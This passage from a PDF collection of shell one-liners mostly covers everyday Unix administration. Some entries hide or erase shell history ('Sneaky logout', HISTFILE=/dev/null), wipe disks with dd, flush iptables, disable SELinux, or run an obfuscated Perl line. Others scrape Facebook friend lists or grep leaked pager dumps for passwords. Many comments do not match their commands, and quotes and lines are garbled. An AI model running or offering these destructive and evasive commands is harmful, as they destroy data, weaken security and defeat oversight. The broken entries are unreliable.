for i in `netstat -rn |grep lan |cut -c55-60 |sort |uniq`; do ifconfig $i; done
# psgrep
psgrep() { if [ ! -z $1 ] ; then echo "Grepping for processes matching $1..." ps aux | grep
-i $1 | grep -v grep else echo "!! Need name to grep for" fi }
# It outputs a given line from a file
awk 'NR==linenumber' filename
# Visit wikileaks.com
echo 213.251.145.96 wikileaks.com | sudo tee -a /etc/hosts
# see the partition
fdisk -l
# Snmpwalk a hosts's entire OID tree with SNMP V3 without Authentication or Privacy
snmpwalk -v3 -On -u <user> -l NoAuthNoPriv -m ALL <HOST_IP> .
# Monitor Applications application that are connected/new connections
while true; do netstat -p |grep "tcp"|grep --color=always "/[a-z]*";sleep 1;done
# Snmpwalk a hosts's entire OID tree with SNMP V3 with MD5 Authentication and without
Privacy
snmpwalk -v3 -On -u <user> -l AuthNoPriv -a MD5 -A <auth_password> -m ALL <HOST_IP> .
# Cat files in a directory; for loop command
cat *
# Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and without
Privacy
snmpwalk -v3 -On -u <user> -l AuthNoPriv -a SHA -A <auth_password> -m ALL <HOST_IP> .
# Get My Public IP Address
links2 -dump http://checkip.dyndns.com | cut -d ' ' -f7
# Execute sudo command remotely with ssh
ssh -t myserver.org 'sudo ls /etc'

626 / 658

All UNIX COMMANDS


# Snmpwalk a hosts's entire OID tree with SNMP V3 with SHA Authentication and with Privacy
snmpwalk -v3 -On -u <user> -l AuthPriv -a SHA -A <auth_password> -X <encryption_password> -m
ALL <HOST_IP> .
# commit message generator - whatthecommit.com
lynx -dump -nolist http://whatthecommit.com/|sed -n 2p
# Removes the .svn entries from a project
find -name ".svn" -exec rm -rf {} \;
# &#1089;&#1082;&#1072;&#1095;&#1072;&#1090;&#1100; &#1089;&#1072;&#1081;&#1090;
wget -r -k -l 7 -p -E -nc http://site.com/
# redirect wget output to the terminal, instead of a file
wget -q -O - "$@" <url>

# Get your external IP address


echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" | nc
whatismyip.com 80 | tail -n1
# Shows users and 'virtual users' on your a unix-type system
sudo lsof|sed 's/ */ /g'|cut -f3 -d' '|sort -u
# Create a directory and change into it at the same time
function mkdcd () {
mkdir "$1" && cd "$1" }
# command line calculator (zsh version)
python3
# Quickly assess quality of project by greping the SVN commit logs
svn log | grep "bodge\|fudge\|hack\|dirty"
# rgrep: recursive grep without .svn
grep query -r . --exclude-dir=.svn
# sets volume via command line
amixer -c 0 set PCM 2dB+
# Kill a process with its name
ps -u $USER |grep $1 | awk '{ print $1}'| xargs kill
# Convert HH:MM:SS into seconds
echo 00:29:36 | nawk -F: '{seconds=($1*60)*60; seconds=seconds+($2*60); seconds=seconds+$3;
print seconds}'
# Find files containing "text"
grep -lir "text to find" *
# Convert HH:MM:SS into seconds
TZ=GMT date -d "1970/01/01 00:29:36" +%s
# Get rid of multiple spaces/tabs in a text file
sed -i "s/\(\x09\{1,\}\)\|\( \{1,\}\)/ /g;s/\(\x09\{1,\}$\)\|\( \{1,\}$\)//g" brisati.txt
# Search all files of type *.php for string 'specialFunction' and output the result in
searchResult.txt
find . -name "*.php" | xargs egrep -i -s 'specialFunction' > searchresult.txt

627 / 658

All UNIX COMMANDS


# Convert HH:MM:SS into seconds
date -ud "1970/01/01 00:29:36" +%s
# Wait a moment and then Power off
sudo shutdown 3600 -P
# simple echo of IPv4 IP addresses assigned to a machine
ifdata -pa eth0
# convert permissions in ls to octal
ls -l | sed -e 's/--x/1/g' -e 's/-w-/2/g' -e 's/-wx/3/g' -e 's/r--/4/g'
's/rw-/6/g' -e 's/rwx/7/g' -e 's/---/0/g'

-e 's/r-x/5/g' -e

# Calculate the the last day of a month +/- from current month
date -j -v1d -v-0m -v-1d +'%m %d %Y'
# Random Number Between 1 And X
echo "$(od -An -N4 -tu4 /dev/urandom) % 5 + 1" | bc
# Super Paste
(echo "" | xsel -o) ; (programa | wgetpaste -s dpaste | awk '{print $7}' | xsel -ai)
# Get your external IP address
wget -q -O - checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//'
# Press Any Key to Continue
echo -n "Press any key to continue..." && read
# Show the meta information on a package (dependency , statuts ..) on debian derivative
distro
aptitude show packages_name
# Unzip multi-part zip archive
tar -xfv archive.zip
# clean up memory on linux (fedora)
sync; echo 3 > /proc/sys/vm/drop_caches

# Even better Cowsay/Fortune


cowsay `fortune` | toilet --gay -f term
# Oneliner to get domain names list of all existing domain names (from wikipedia)
curl http://en.m.wikipedia.org/wiki/List_of_Internet_top-level_domains | grep "<tr
valign=\"top\">" | awk -F">" '{ print $5 }' | awk -F"<" '{ print $1 }'
# Always run apt-get as root
alias apt-get='sudo apt-get'
# Unzip all files with ".zip" extension.
unzip \*.zip
# Display the linux host infomation.
hostinfo.sh
# Quick setup to list all directory contents by time reversed sort... most recent change
last.
alias ltr 'ls -altr'

628 / 658

All UNIX COMMANDS


# Remove a symbolic link
unlink <linkname>
# Seach google from the command line in Unofficial google shell
http://goosh.org
# Remove executable bit from all files in the current directory recursively, excluding other
directories
find . -type f | while read f; do chmod -x "$f"; done
# When you have time to consume
moon-buggy
# Executes a command changing an environment variable
VARIABLE="VALUE" COMMAND
# empty set of files
sed -i -n '/%/p' *.php
# Pick a random line from a file
head -$(($RANDOM % $(wc -l < file.txt) +1 )) file.txt | tail -1
# Export you history to nowhere
export HISTFILE=/dev/null/
# Find the process you are looking for minus the grepped one
ps aux | grep process-name | grep -v "grep"
# Back Up a disk to an image in your home directory
dd if=/dev/sda of=~/backup-disk-YY-MM-DD.img
# use ImageMagik to convert tint (hue rotation) of an icon set directory.
/bin/ls *.png | xargs -l1 -I {} convert {} -modulate 100,100,70 ../../icons/32x32/{}
# Skipping tests in Maven
mvn -Dmaven.test.skip=true install
# Prepend string to filename
ls | while read -r FILE; do mv -v "$FILE" `echo "prependtext$FILE"

`; done

# Prepend string to filename


for i in *; do mv $i prependtext$i; done
# Find String
grep -iR find_me ./
# compile openvm-tools
m-a a-i open-vm
# find out public ip address by using any host that have 'efingerd -n'
finger @www.linuxbanks.cn | grep -oE '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' | head -n1
# Get filename from a full file path
for /F %G in ('dir /b c:\Windows\system32\notepad.exe') do ( echo %G )
# Pick a random line from a file
shuf file.txt | head -n 1

629 / 658

All UNIX COMMANDS


# Start xterm in given directory
xterm -e "cd /my/directory; bash"
# Start xterm in given directory
( cd /my/directory; xterm& )
# Remove all unused kernels with apt-get
aptitude purge linux-image | grep ^i | grep -v $(uname -r)
# shutdown pc in a 4 hours
sleep 4h && halt
# Check if system is 32bit or 64bit
uname -m
# display machine "hardware name"
# Redirecting stderr to file
<command> 2> <file>
# Check processes runed not by you
ps aux | grep -v `whoami`
# before writing a new script
echo '#!'$(which bash) > script.sh
# Arguments too long
ls | xargs WHATEVER_COMMAND
# Use php and md5 to generate a password
php -r 'echo md5("password") . "\n";'
# display most recently modified files
ls -l|awk '{print $6,$8}'|sort -d
# Send e-mail if host is 'dead' or not reachable
10,30,50 * * * * ping -q -c1 -w3 192.168.0.14 | grep '1 received' - || mail -ne -s'Host
192.168.0.14 not reachable' admin@example.com
# download file1 file2 file3 file4 .... file 100
for file in $(seq -f '%03.f' 1 $TOTAL ); do echo "($file/$TOTAL)"; curl -f -O
http://domain.com/Name_$file.ext; done
# List files with names in quotes.
for i in *; do echo '"'$i'"'; done
# Find all IP's in /etc directory
find /etc -exec grep '[0-9][0-9]*[.][0-9][0-9]*[.][0-9][0-9]*[.][0-9][0-9]*' {} \;
# make 100 directories with leading zero, 001...100, using bash3.X
mkdir 0{0..9}{0..9};mv 000 100
# Kill all Zombie processes one-liner
ps -xaw -o state,ppid | grep Z | grep -v PID | awk '{ print $2 }' | xargs kill -9
# List all executable files in the current directory
ls -F | grep '\''\*'\'' | sed '\''s/\*$//'\
# Restarting MySql Service
service mysqld restart
# Print the ten largest files

630 / 658

All UNIX COMMANDS


ls -Sl * | head
# mkdir & cd into it as single command
echo 'mkcd() { mkdir -p "$@" && cd "$_"; }' >> ~/.bashrc
# Sharing a file through http 80 port:
nc -w 5 -v -l -p 80 < file.ext
# Start Time Sync
/etc/rc.d/init.d/ntpd start
# Chmod directories to add executable & read permission to the group safely
sudo chmod -R g=u-w,g+X *
# Convert the first character of a string to uppercase
echo 'example' | sed -e 's/^\(.\)/\U\1/'

# Read a gzipped text file directly with less.


less textfile.gz
# List the size (in human readable form) of all sub folders from the current location
ls | xargs du -sh
# show directory three
find . -type d | sed -e "s/[^-][^\/]*\//

|/g" -e "s/|\([^ ]\)/|-\1/"

# Display helpful information about builtin commands.


help builtin
# Delete all files more t han 7 days old
rm -rf `find -maxdepth 1 -mindepth 1 -mtime +7`
# Create a list of sequential logins
seq -w 100 | sed 's/^/login/'
# Creates a minimalist xorg.conf
dpkg-reconfigure -phigh xserver-xorg
# copy public key
cat .ssh/id_rsa.pub | ssh user@server 'cat >> ~/.ssh/authorized_keys2'
# Empty The Trash
alias trash="rm -fr ~/.local/share/Trash"
# #
# indicates a comment in shell
# Remove packages by pattern on debian and based systems
sudo apt-get remove --purge `dpkg -l | awk '{print $2}' | grep gnome` && apt-get autoremove
# shows the space of a folder in
watch "df | grep /this/folder/"

bytes

ever

two seconds.

# Clear your history saved into .bash_history file!


echo "" > .bash_history
# Do I have this command?
which <command> > /dev/null 2>&1 && echo Success!

631 / 658

All UNIX COMMANDS


# Replace text in several files
perl -p -i -e ?s/New/Old/g? *.html
# create a big file
dd if=/dev/zero of=/tmp/bigfile bs=1024k count=100
# Geo Weather
curl -s http://www.google.com/ig/api?weather=$(curl -s "http://api.hostip.info/get_html.php?
ip=$(curl -s icanhazip.com)" | grep City | sed 's/City: \(.*\)/\1/' | sed 's/ /%20/g' | sed
"s/'/%27/g") | sed 's|.*<temp_f data="\([^"]*\)"/>.*|\1\n|'
# Get average ping(1) time from a host
ping -qc 10 server.tld | awk -F/ '/^rtt/ {print $5}'
# open man page of last used command
man !!
# Get the IP address
ip a s eth0 | grep "inet " | head -n 1 | awk '{print $2}' | cut -f1 -d'/'
# copy files listed in a text file
(while read fn; do; cp "$fn" $DESTINATION\.; done<filename.txt)
# Alternative size (human readable) of directories (biggest last)
function duf { du -sk "$@" | sort -n | while read size fname; do for unit in k M G T P E Z
Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$
((size/1024)); done; done; }
# multichar tr string1 '\n'
case $# in 0) echo usage: $0 pattern ;; *)case $1 in */*)sed ' s,'"$1"',\ ,g';; *) sed '
s/'"$1"'/\ /g' ;;esac;esac;
# How many lines in your c project?
wc -l *c
# check if your processor is 32 or 64 bit
uname -m

# list connected usb devices


lsusb
# Merge - Concate MP3 files
# cat file1.mp3 file2.mp3 > file3.mp3
# Check your running Ubuntu version
lsb_release -a
# Execute external code
source filename_script.sh
# Hex Dump
cat /dev/ttyS2 | hexdump -C
# Display a random man page
man $(/bin/ls /bin | awk '{ cmd[i++] = $0 } END { srand(); print
cmd[int(rand()*length(cmd))]; }')

632 / 658

All UNIX COMMANDS


# run command with opposite return code
not () { "$@" && return 1 || return 0; }
# Reports size of all folders in the current folder. Useful when burning CD's and DVD's
export IFS=$'\n';for dir in $( ls -l | grep ^d | cut -c 52-);do du -sh $dir; done
# Replace spaces with newlines
cat file.txt|perl -ne '$_=~s/\s+/\n/g; print $_;'
# I/O top equivalent
iotop
# omit grep
ps aux | grep [c]ommandname
# Find out what is using the bandwidth
nethogs
# Generate a Random MAC address
macchanger --random interface
# Generate MD5 hash for a string
printf "$string" | md5sum
# Cowsay Random Cowfile
files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}` <TEXT>
# delete files except some file
find . |more |grep -v filename |xargs rm
# To print a specific line from a file
awk '{if (NR == 3) print}' <file>
# Fibonacci numbers with awk
gawk '{n=$1;a=0;b=1;c=1;for(i=1;i<n;i++){c=a+b;a=b;b=c};print c}' << eof
# bat add copyright info
find . -name "*.c" -exec sed -i "/\/sh/a\####################################\n#Date:201005-18\n#Company:XXXXX tech
Co.\n#Author:Wangjunling\n#Copyright:gpl\n####################################" {} \;
# Delete all firewall rules in a chain or all chains
iptables -F
# Remove current directory (REVISED)
removedir(){ read -p "Delete the current directory $PWD ? " human;if [ "$human" = "yes" ];
then [ -z "${PWD##*/}" ] && { echo "$PWD not set" >&2;return 1;}; rm -Rf ../"${PWD##*/}"/ &&
cd ..; else echo "I'm watching you" | pv -qL 10; fi; }
# Read aloud a text file in Mac OS X
say `cat /path/to/textfile.txt`
# netstat -p recoded (totaly useless..)
p=$(netstat -nate 2>/dev/null | awk '/LISTEN/ {gsub (/.*:/, "", $4); if ($4 == "4444")
{print $8}}'); for i in $(ls /proc/|grep "^[1-9]"); do [[ $(ls -l /proc/$i/fd/|grep socket|
sed -e 's|.*\[\(.*\)\]|\1|'|grep $p) ]] && cat /proc/$i/cmdline && echo; done
# Prints tcp and udp connections
netstat -nlput

633 / 658

All UNIX COMMANDS


# Get your external IP address
wget -O - -q http://whatismyip.org/

# Go to a specified line in a file


vim +143 filename.txt
# Learn searching and navigating in man like a boss
man <command> then type h
# Poll and print end of lates modified file
watch 'ls -tr1 | tail -n1 | xargs tail'
# Show the amount of space left on mounted harddrives
df -h
# obtain ip
udhcpc -i eth0
# Project Zipped
zip -r -9 /var/www/html/project.zip /var/www/html/project
# Generate a random password 32 characters long :)
date | md5sum
# remove all CVS directories
find . -type d -name 'CVS' | xargs rm -r
# Recursively grep a subdirectory for a list of files
ls -1 static/images/ | while read line; do echo -n $line' '[; grep -rc $line *|grep -v
".svn"|cut -d":" -f2|grep -vc 0| tr "\n" -d; echo -n ]; echo ; done
# Periodically loop a command
while true; do ifconfig eth0 | grep "inet addr:"; sleep 60; done;
# Upload file to remote server using SCP
scp /home/svnlabs.txt root@92.178.0.56:/home/
# Oracle: set column separator
set colsep "{char}"
# Show the size of a directory
du -sh some/directory
# 3 Simple Steps to X11 Forward on Mac OS X
ssh -X johndoe@123.456.789
# View the newest xkcd comic.
xdg-open http://xkcd.com/
# Find the process you are looking for minus the grepped one
psg() { ps aux | grep "[${1[1]}]${1[2,-1]}"; }
# Find all jpgs on the PC (DOS command)
for %f in (c) do dir %f:\*.jpg /s /p
# Move large numbers of files
for f in *; do mv $f <target_path>; done;

634 / 658

All UNIX COMMANDS


# show your private/local ip address
ifconfig | grep addr:192 | sed s/Bcast.*// | sed 's/^.*inet addr://'
# Convert a bunch of oggs into mp3s
for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3"
# Numerate files, rename files in a directory by incremental number
declare -i i; i=0; for file in *; do i=`expr $i+1`; mv "$file" $i; done;
# delete all .svn directory in a directory
rm -rf `find ./ -iname *.svn*`
# Numerate files, rename files in a directory by incremental number
declare -i i=0 ; for file in * ; do i=$[$i+1] ; mv "$file" $i; done
# Mac OS X command line hilarity
say sofa king great
# Recursively grep thorugh directory for string in file.
find directory/ |xargs grep -i "phrase"

# kills all processes for a certain program e.g. httpd


ps aux | grep 'httpd ' | awk {'print $2'} | xargs kill -9
# Find out your Debian version
cat /etc/debian_version
# convert .rpm to .deb using alien
sudo alien --to-deb Your_PackAge.rpm
# A description of internet protocol
man inet
# a find and replace within text-based files, for batch text replacement, not using perl
for file in `find . -iname "FILENAME"`; do cat $file | sed "s/SEARCH_STRING/REPLACE_STRING/"
> $file.tmp; mv $file.tmp $file; done
# Truncate logs in unix
logs=$(find . -name *.log);for log in $logs; do cat /dev/null > $log;done
# vi: search string "^~" (unlikley pattern). Useful after search/highlight when you want to
drop the highlighting.
/^~
# Passwords from 9/11 tragedy pager intercepts (Yeah! Plain text! From wikileaks.net)
while true; do wget -r -l1 --no-clobber -A.txt http://911.wikileaks.org/files/index.html;
done; cat *.txt | grep pass
# Find files and format them in detailed list
ls -l `locate your_search_here`
# Remove a line from a file using sed (useful for updating known SSH server keys when they
change)
sed '${LINE}d' ~/.ssh/known_host
# Go to the Nth line of file
echo "13" | ed /etc/services

635 / 658

All UNIX COMMANDS


# Count your Twit length before posting
echo "<your twit>" | wc -c # Go to the Nth line of file
head -n 13 /etc/services | tail -n 1
# Get the 10 biggest files/folders for the current direcotry
ls -1rSA | tail
# Delete all files in current directory that have been modified less than 5 days ago.
find ./ -mtime -5 | xargs rm -f
# Fast install software in Ubuntu
alias agi='sudo apt-get install'
# unzip all .zip files in /example/directory
cd /example/directory && unzip \*.zip
# Tar a subversion working copy...without all those hidden directories!
tar --exclude='.svn' -c -f /path/to/file.tar /path/to/directory
# sequence of numbers in a for loop
for f in `jot - 0 50 5` ; do ping -c 1 -m 50 10.0.2.$f ; done
# Kill a background job
kill %1
# List dot-files and dirs, but not . or ..
ls .??*
# Checks your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if
/<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;
# Starting the VPN service
sudo service vpnclient_init start
# grep: find in files
egrep -in "this|that" *.dat
# Remove VIM temp files
find . -name "*~" -exec rm {} \;

# See size of partitions


fdisk -l /dev/sda
# find a process id by name
ps aux | awk '/name/ {print $2}'
# change directory into '//'
cd //
# exec option in find
find ~ -mtime +365 -exec mv {} /tmp/mybackup \;
# Replace square brackets to underscore in all filenames (current dir.)
perl -e 'map { $on=$_; s/\]/_/; rename($on, $_) or warn $!; } <*>;'

636 / 658

All UNIX COMMANDS


# The 1 millionth fibonacci number
gcc -x c -o /tmp/out - -lgmp <<< '#include <stdlib.h> ... SEE SAMPLE OUTPUT FOR FULL COMMAND
# Kill a bunch of processes with the same name
ps ax | grep <processname> | grep -v grep | awk '{print $1}' | sudo xargs kill -9
# Completly blank a disk
dd if=/dev/zero of=/dev/hda
# Remove the first character of each line in a file
cat files |sed 's/.\(.*\)/\1/'
# Helpful alias to grep for the PID.
alias pfind='ps aux | grep '
# frnd
$ lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?
u=100003119823986&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"'
|cut -d, -f2
# Completly blank a disk
dd if=/dev/urandom of=/dev/somedisk
# Get non-printable keycode to bind keys in applications
cat > /dev/null
# Lists installed kernels
rpm -qf /lib/modules/*
# Access variables inside a - piped while - loop
while read line; do echo $line; done <<< "$var"
# Automation click every 4 second on a macro slot bar to world of warcraft for prospecting
item
while true; do sleep 4 ; xdotool click 1 ; done
# Clear current session history
history -r
# convert .daa to .iso
poweriso convert image.daa -o image.iso -ot iso
# Listen to the OS X system's voices
for person in Alex Bruce Fred Kathy Vicki Victoria ; do say -v $person "Hello, my name is
$person"; sleep 1; done
# Searching files
find /dir/ -name *name*
# Recursive chmod all files and directories within the current directory
find . -exec chmod 777 {} \;
# Kill a process with its name
pkill $1
# View the newest xkcd comic.
echo alias xkcd="gwenview `w3m -dump http://xkcd.com/|grep png | awk '{print $5}'` 2>
/dev/null" >> .bashrc
# Sudo like a sir

637 / 658

All UNIX COMMANDS


can(){ shift 2; sudo "$@"; }
# Get your external IP address
lynx --dump http://ip.boa.nu|sed -e 's/^[[:space:]]*//' -e 's/*[[:space:]]$//'|grep -v ^$

# Show directories in the PATH, one per line


print -l $path
# A faster ls
echo *
# Sneaky logout
rm ~/.bash_history && kill -9 $$
# Short one line while loop that outputs parameterized content from one file to another
while read col1 col23; do echo $col1; done < three-column.txt > first-column.txt
# Echo several blank lines
jot -b '' 100
# Selecting a random file/folder of a folder
ls -1 | sort -R | sed -n 's/^/Selected /;1p'
# Print just line 4 from a textfile
tail -n +4 | head -n 1
# View only non-comment non-empty lines in a configuration file
grep '^[^#]' squid.conf
# Read directory contents recursively
ls -R .
# Sneaky logout
rm ~/.bash_history; ln -s /dev/null ~/.bash_history
# SELinux Status
getenforce
# add fn brightness on notebook
sudo update-grub
# vim display hex value char under cursor
ga
# To print a specific line from a file
tail -n +<N> <file> | head -n 1
# Text to ascii art
figlet gunslinger_
# Count the total number of files in each immediate subdirectory
ps -ef | grep pmon
# "Reset" directories permissions
find . -type d -exec chmod 0755 {} \;
# Output all Files in Directory w/ Details to Filelist
ls -laR > /path/to/filelist

638 / 658

All UNIX COMMANDS


# figlet
figlet -f roman message
# show space used by postgres
while (( 1==1 )); do du -c . >> output.log; sleep 2; done; tail -f output.log
# Move files matching a certain pattern to another folder
find . | grep ".*\[[Church|CPYAF].*" | while read f; do mv "$f" ../emails;done
# Refresh profile file
. ~/.profile
# Creating a Maven project
mvn archetype:create -DgroupId=my.work -DartifactId=MyProject
# Convert CSV to TSV
perl -pe 's/,/\t/g' < report.csv > report.tsv
# ROT13 using the tr command
function rot13 { if [ -r $1 ]; then cat $1 | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; else
echo $* | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; fi }

# replace text in all files in folder, into subfolder


mkdir replaced;for i in *; do cat "$i"| sed 's/foo/bar/' > "replaced/$i"; done
# egrep -r replacement for UNIX systems
find . -type f | xargs grep -l "string"
# Remove lines ending or trailing at least one slash (/)
cat file.txt | grep -v /$ > newfile.txt
# kill a process(e.g. conky) by its name, useful when debugging conky:)
killall conky
# Get own public IP address
wget -qO- whatismyip.org
# Use md5 to generate a pretty hard to crack password
echo "A great password" | md5sum
# Glutton for punishment
''=~('(?{'.('_/@.*@'^'/])@^`').'"'.('"/_/@]/--!.:@</:[@(:/:^'^'[@*]`>@@@@@^`[@_(`@_]_|').',
$/})')
# Kill a process (in windows)
taskkill /F /FI "USERNAME eq Cicciopalla"
# Directory bookmarks
bm () { ... see description }
# Chmod all directories (excluding files)
chmod 755 $(find public_html -type d)
# uname -a
uname -a
# search for and kill a process in one blow

639 / 658

All UNIX COMMANDS


ps aux|grep -i [p]rocessname|awk '{ print $2 }'|xargs kill
# List files with quotes around each filename
ls | sed 's/.*/"&"/'
# Generate random password
dd bs=1 count=32 if=/dev/random 2> /dev/null | md5 | grep -o '\w*'
# search and run command in history
!?192
# Run a command at a certain time
echo ?ls -l? | at 10am Jul 21
# Run a command at a certain time #2
echo ?ls -l? | at midnight
# Update Twitter From the Linux Command Line
curl -u user:pass -d status=?I am Tweeting from the shell?
http://twitter.com/statuses/update.xml
# reloads sound when it stop playing
sudo alsa force-reload
# Play newest or random YouTube video
oumou sangare
# Edit Crontab
crontab -e
# fb
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |
gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2
# Network Information
ntop
# glob /mnt
_ff(){ cd /mnt;echo /mnt/*/* |sed 's/ \/mnt\//\&/g' |sed '/'"$1"'/!d'; cd -;}
# Forget remembered path locations of previously ran commands
rehash

# View process statistics in realtime


top
# Kill a process by application
kill -9 `pgrep $PROCESS_NAME`
# Kill a daemon by name, not by PID
kill_daemon() { echo "Daemon?"; read dm; kill -15 $(netstat -atulpe | grep $dm | cut -d '/'
-f1 | awk '{print $9}') }; alias kd='kill_daemon
# Print a list of installed Perl modules
dpkg-query -W | grep perl
# Post to twitter via curl, Windows version

640 / 658

All UNIX COMMANDS


FOR /f %%g in ('echo %1 ^| iconv -f gbk -t utf-8') DO curl -x proxy:port -u user:pass -d
status=%%g -d source="cURL" http://twitter.com/statuses/update.xml
# sed -n "$LINE1,${LINE2}p;${LINEA2}q;" "$FILE"
Printing portion of a big file
# Delete a file securely by overwriting its contents
shred -v filename
# Random Beeps on Your PC Speaker
dd if=/dev/urandom of=/dev/speaker bs=1
# How many lines does the passwd file have?
awk 'END {print NR}' /etc/passwd
# Random Beeps on Your Audio Card's Output
dd if=/dev/urandom of=/dev/dsp
# doing some math...
echo 1+1|bc
# Whois on target and save results to file instantly
x=192.168.1.1; whois $x > $x.txt
# Bash logger
echo -en "$USER@$HOSTNAME:${PWD##*/}> ";while read x;do echo $x>>/tmp/log.txt;echo $x|$0
2>&1;echo -en "$USER@$HOSTNAME:${PWD##*/}> ";done
# Kill process you don't know the PID of, when pidof and pgrep are not available.
export var1=`ps -A | grep '[u]nique' | cut -d '?' -f 1`; echo${var1/ /}; kill -9 $var1
# Concatenate lines of to files, one by one
join file1.txt file2.txt > file3.txt
# Refined repository search
apt-get search something | grep specific
# Print the matched line, along with the 3 lines after it.
grep -A 3 -i "example" demo_text
# One-Liner to Display IP Addresses
python -c "import socket; print '\n'.join(socket.gethostbyname_ex(socket.gethostname())[2])"
# What is my IP address?
curl whatismyip.org
# reverse-print contents of a file
nawk '{line[NR]=$0} END{for (; NR>=1; NR--){print line[NR]}}' FILENAME
# detected hardware and boot messages
sudo dmesg
# remove all dead symbolic links in a directory
for i in $(file * | grep broken | cut -d : -f 1); do rm $i; done
# Upload file to remote server using SCP
scp -P 22 /home/svnlabs.txt root@92.178.0.56:/home/svnlabs.txt
# Connects to a telnet service monitoring Woot!
telnet zerocarbs.wooters.us

641 / 658

All UNIX COMMANDS


# Search for all files that begin with . and delete them.
find ~/Desktop/ \( -regex '.*/\..*' \) -print -exec rm -Rf {} \;

# Monitor server load as well as running MySQL processes


watch -n 1 uptime\;myqladmin --user=<user> --password=<password> --verbose processlist
# Kill any process with one command using program name
ps -ef | grep [j]boss | awk '{print $2}'|xargs kill -9
# Find only *.doc and *xls files on Windows partition
find Documents\ and\ Settings -iregex .+\.doc -or -iregex .+\.xls > office.lst
# Create a secure password using /dev/urandom and sha256
pwgen -Bs 10 1
# Show All Symbolic (Soft) Links
ls -l | grep ^l
# convert DOS newlines to unix newlines
sed 's/$//'
# Show line numbers in a text file
cat x
# Add a user to a group
useradd -G {group-name} username
# Backup a file before editing it.
sedit() { cp "$*"{,.bk}; which $EDITOR > /dev/null && $EDITOR "$*" || vim "$*"; }
# Get fresh FollowBack list for Twitter
for a in $(seq 5 8); do cat twit.txt | cut -d " " -f$a | grep "^@" | sort -u; done >
followlst.txt
# Find out which version of linux you are running
cat /etc/*issue
# Check if Fail2Ban is Running
FAIL2BAN=`ps ax | grep fail2ban | grep -v grep | awk {'print $1'}` && if [ -n "$FAIL2BAN" ];
then printf "\n[INFO] Fail2Ban is running and the PID is %s\n\n" $FAIL2BAN; else printf "\n
[INFO] Fail2Ban is not running\n\n"; fi
# Copy with progress
pv file1 > file2
# Update your system every day at the lunch time (12:00)
(crontab -e) 00 12 * * * apt-get update (/etc/init.d/cron restart)
# alias to list hidden files of a folder
alias lh='ls -a | egrep "^\."'
# Remove very large or problematic directories under Windows from Command Prompt
rd /S /Q directory
# Turn off SE Linux
setenforce 0

642 / 658

All UNIX COMMANDS


# get LAN ip
ifconfig |grep broadcast

| awk '{print $2}'

# Salty detailed directory listing...


ls -saltS [dirname]
# play all songs under current directory smoothly as background job
nice -n0 ls | mpg321 -@- &
# read txt or txt.gz files
vim txt.gz
# Cute, but we already had this figured out when the Linux kids were still slurping down
log-sized spliffs in the back of the microbus.
ssh-keygen -R hostname
# recursively change file name from uppercase to lowercase (or viceversa)
find . -type d -name '*[A-Z]*' -execdir bash -c '! test -f "$(echo "$0" | tr "[:upper:]"
"[:lower:]")"' {} \; -execdir bash -c 'mv "$0" "$(echo "$0" | tr "[:upper:]" "[:lower:]")"'
{} \;
# Shorthand to install package in Ubuntu
alias install='sudo apt-get install'
# Get My Public IP Address
lwp-dump http://www.boredomsoft.org/ip.php|grep Client

# Get colorful fortunes


cowsay `fortune` | toilet --metal -f term
# calculate the total size of files in specified directory (in Megabytes)
du -h <Directory>
# Print all the lines between 10 and 20 of a file
head -n 20 <filename> | tail
# Read directory contents recursively
while read f;do echo "$f";done < <(find .)
# Get your external IP address
wget -O - -q ip.boa.nu
# That's what she said
!tail
# Echo several blank lines
for i in `seq 1 100`;do echo;done
# show debian version
cat /etc/debian_version
# Klingon programming; weak code must die
gcc -Wall -Werror -o prog prog.c || rm -f prog.c
# Open a list of files in VIM using separate terminal windows
find . -name "*.java" -exec gnome-terminal \-x vim {} \;
# Search Google from the command line and return the first result.

643 / 658

All UNIX COMMANDS


The command is too big to fit here. :( Look at the description for the command, in readable
form! :)
# byobu use
byobu
# Find different filetypes in current directory
find . -maxdepth 1 -type f -name '*.sh' -o -name '*.txt'
# copy `file.txt` to remote server
scp -l username -pw pa33w0rd file.txt 192.168.1.2:/path/to/dir
# sirve para ver la salida de un comando en pantalla y al mismo tiempo guardar la salida en
un fichero
find / -name *.conf | tee salida
# list with full path
for file in *; do echo $PWD/$file; done
# Print only the odd lines of a file
awk '{if (NR % 2 == 1) print $0}' file.txt
# optimized sed
sed '/foo/ s/foo/foobar/g' <filename>
# kill some pids without specific pid
kill -9 `ps aux | grep "search_criteria" | awk '{if ($2 != pid) print $2}'`
# Change password in list of xml files with for and sed
for i in `ls *xml`; do sed -e 's,oldpassword,newpassword,g' $i > $i.2 && mv -f $i.2 $i
done

# See a list of ports running


netstat -an | grep -i listen
# Wordpress - download latest, extract, and rename config file.
alias wordpress='mkdir wordpress && cd wordpress && wget http://wordpress.org/latest.tar.gz
&& tar -xvzf latest.tar.gz && mv wordpress/* . && rm -rf latest.tar.gz wordpress && cp wpconfig-sample.php wp-config.php'
# Get all IPs via ifconfig
ifconfig | grep "inet [[:alpha:]]\+" | cut -d: -f2 | cut -d' ' -f2
# empty a file
echo > filename
# Install NMAP 5.0 ,Short and sweet command to do it
sudo wget -c "http://nmap.org/dist/nmap-5.00.tar.bz2" && bzip2 -cd nmap-5.00.tar.bz2 | tar
xvf - && cd nmap-5.00 && ./configure && make && sudo make install

# cleaning after python


find ~ -name "*.pyc" -exec rm {} \;
# reload bash_profile
source ~/.bash_profile
